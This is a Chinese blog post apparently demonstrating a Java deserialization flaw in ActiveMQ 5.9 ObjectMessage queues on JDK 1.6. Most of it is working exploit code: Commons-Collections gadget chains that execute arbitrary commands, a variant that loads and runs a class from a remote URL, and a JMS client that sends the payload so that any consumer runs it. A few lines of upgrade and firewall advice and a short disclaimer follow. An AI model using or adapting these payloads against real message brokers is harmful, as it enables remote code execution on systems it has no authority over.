最近研究了下ActiveMQ的ObjectMessage漏洞,就是反射的漏洞。
(貌似jdk就有反射漏洞,jmrrmi之类的,自己去研究吧)
经过测试此漏洞在jdk1.8或者ActiveMQ-5.13已经修复。
一、测试攻击的环境
1.ActiveMQ-5.9
2.jdk1.6
依赖的jar包,红色箭头的,剩下的自己看需不需要了。
好像主要就是commons-collections.jar 出现的漏洞,有点忘了
二、实现
PayloadGeneration.java 攻击类
MQTest3 测试类
首先启动ActiveMQ,这个就不用我说了吧。
注:MQ调用中,账户、密码、连接根据实际情况进行相应的修改
三、效果
谁消费信息,谁倒霉。
在靶机上执行任何程序有权限的 cmd 命令(linux没有测试,不过相信一样可以实现)
四、延展及防护
1.组合命令自己看代码修改
2.当然有漏洞就要修了
要么升级jdk到1.8
要么升级ActiveMQ到5.13
要么就不要使用ObjectMessage的方式的队列
当然如果不方便升级环境,那就一定要配置好MQ的账号密码,配置好防火墙规则。。。
五、声明:搞破坏是不道德的,后果自负。
-----------------------------代码分割线---------------------------------
PayloadGeneration.java 攻击类代码
package com.zkl.rmi; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.net.MalformedURLException; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; public class PayloadGeneration { public static Object generateExecPayload(String cmd) throws Exception { return getPayloadObject(getExecTransformer(cmd)); } public static Object generateURLClassLoaderPayload(String url, String classNmae, String method, String cmd ) throws Exception { return getPayloadObject(getURLClassLoaderTransformer(url, classNmae, method, cmd)); } public static Object generateLazyMapExecPayload(String cmd) throws Exception { return getLazyMapPayloadObject(getExecTransformer(cmd)); } public static Object generateLazyMapURLClassLoaderPayload(String url, String classNmae, String method, String cmd ) throws Exception { return getLazyMapPayloadObject(getURLClassLoaderTransformer(url, classNmae, method, cmd)); } private static Object getPayloadObject(Transformer transformerChain) throws Exception { Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outmap = TransformedMap.decorate(innerMap, null, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); @SuppressWarnings({ "unchecked", "rawtypes" }) Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class }); ctor.setAccessible(true); Object instance = ctor.newInstance(new Object[] { Retention.class, outmap }); return instance; } private static Object getLazyMapPayloadObject(Transformer transformerChain) throws Exception { Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); InvocationHandler invo = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Retention.class, lazyMap); Map mapProxy = Map.class.cast(Proxy.newProxyInstance(PayloadGeneration.class .getClassLoader(), new Class[] { Map.class }, invo)); InvocationHandler handler = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Retention.class, mapProxy); return handler; } private static Constructor getFirstCtor(final String name) throws Exception { final Constructor ctor = Class.forName(name) .getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } private static Transformer getExecTransformer(String cmd) { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {cmd}) }; Transformer transformerChain = new ChainedTransformer(transformers); return transformerChain; } private static Transformer getURLClassLoaderTransformer(String url, String classNmae, String method, String cmd ) throws MalformedURLException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] {Class[].class}, new Object[] {new Class[]{java.net.URL[].class}} ), new InvokerTransformer("newInstance", new Class[] {Object[].class}, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(url) }}} ), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { classNmae } ), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{method, new Class[]{String.class}} ), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{cmd}} ) }; Transformer transformerChain = new ChainedTransformer(transformers); return transformerChain; } }
MQTest3 测试类代码
package com.zkl.mq; import java.io.Serializable; import java.util.ArrayList; import java.util.Arrays; import javax.jms.Connection; import javax.jms.ConnectionFactory; import javax.jms.DeliveryMode; import javax.jms.Destination; import javax.jms.JMSException; import javax.jms.Message; import javax.jms.MessageConsumer; import javax.jms.MessageProducer; import javax.jms.ObjectMessage; import javax.jms.Session; import org.apache.activemq.ActiveMQConnectionFactory; import com.zkl.rmi.PayloadGeneration; public class MQTest3 { public static void main(String[] args) throws Exception { MQinfo mqinfo = new MQinfo(); mqinfo.setUrl("failover:(tcp://localhost:61616)?jms.useAsyncSend=true"); mqinfo.setUsername("queue"); mqinfo.setPassword("queue"); sendTest( mqinfo); testReceiver(mqinfo); } /** * 发送请求 */ public static void sendTest(MQinfo mqinfo) throws Exception{ Object instance = PayloadGeneration.generateExecPayload("calc");//此处执行命令 // 1.创建链接工厂 // ConnectionFactory :连接工厂,JMS 用它创建连接 ActiveMQConnectionFactory connectionFactory; // Connection :JMS 客户端到JMS Provider 的连接 Connection connection = null; // Session: 一个发送或接收消息的线程 Session session = null; // Destination :消息的目的地; Destination destination; // MessageProducer:消息发送者 MessageProducer producer = null; try { connectionFactory = new ActiveMQConnectionFactory(mqinfo.getUsername(),mqinfo .getPassword(), mqinfo.getUrl()); //connectionFactory.setTrustedPackages(new ArrayList(Arrays.asList("com.zkl.mq.GoodsputCenterToZoneReq,com.zkl.mq.Msg".split(",")))); // 构造从工厂得到连接对象 connection = connectionFactory.createConnection(); // 启动 connection.start(); // 获取操作连接 session = connection.createSession(Boolean.FALSE, Session.AUTO_ACKNOWLEDGE); // 获取session注意参数值xingbo.xu-queue是一个服务器的queue,须在在ActiveMq的console配置 destination = session.createQueue("mqbugtest"); // 得到消息生成者【发送者】 producer = session.createProducer(destination); // 设置不持久化,此处学习,实际根据项目决定 producer.setDeliveryMode(DeliveryMode.NON_PERSISTENT); // Create a messages ObjectMessage objMsg = session.createObjectMessage(); objMsg.setObject((Serializable) instance); producer.send(objMsg); } catch (Exception e) { e.printStackTrace(); } finally { // Clean up release(connection, session, producer, null); } } /** * 接受请求 */ public static void testReceiver(MQinfo mqinfo) { // 1.创建链接工厂 // ConnectionFactory :连接工厂,JMS 用它创建连接 ActiveMQConnectionFactory connectionFactory; // Connection :JMS 客户端到JMS Provider 的连接 Connection connection = null; // Session: 一个发送或接收消息的线程 Session session = null; // Destination :消息的目的地; Destination destination = null; // 消费者,消息接收者 MessageConsumer consumer = null; try { connectionFactory = new ActiveMQConnectionFactory( mqinfo.getUsername(),mqinfo .getPassword(), mqinfo.getUrl()); //connectionFactory.setTrustedPackages(new ArrayList(Arrays.asList("com.zkl.mq".split(",")))); //connectionFactory.setTrustAllPackages(true); // 构造从工厂得到连接对象 connection = connectionFactory.createConnection(); // 启动 connection.start(); // 获取操作连接 session = connection.createSession(Boolean.FALSE, Session.AUTO_ACKNOWLEDGE); // 获取session注意参数值xingbo.xu-queue是一个服务器的queue,须在在ActiveMq的console配置 destination = session.createQueue("mqbugtest"); // Create a messages consumer = session.createConsumer(destination); Message msg = consumer.receive(1000l); Msg msgr = (Msg) ((ObjectMessage) msg).getObject(); } catch (Exception e) { e.printStackTrace(); } finally { // Clean up release(connection, session, null, consumer); } } public static void release(Connection connection, Session session, MessageProducer producer, MessageConsumer consumer) { try { if (producer != null) producer.close(); } catch (JMSException e) { e.printStackTrace(); } finally { try { if (consumer != null) consumer.close(); } catch (JMSException e) { e.printStackTrace(); } finally { try { if (session != null) session.close(); } catch (JMSException e) { e.printStackTrace(); } finally { try { if (connection != null) connection.close(); } catch (JMSException e) { e.printStackTrace(); } } } } } }
乐享:知识积累,快乐无限。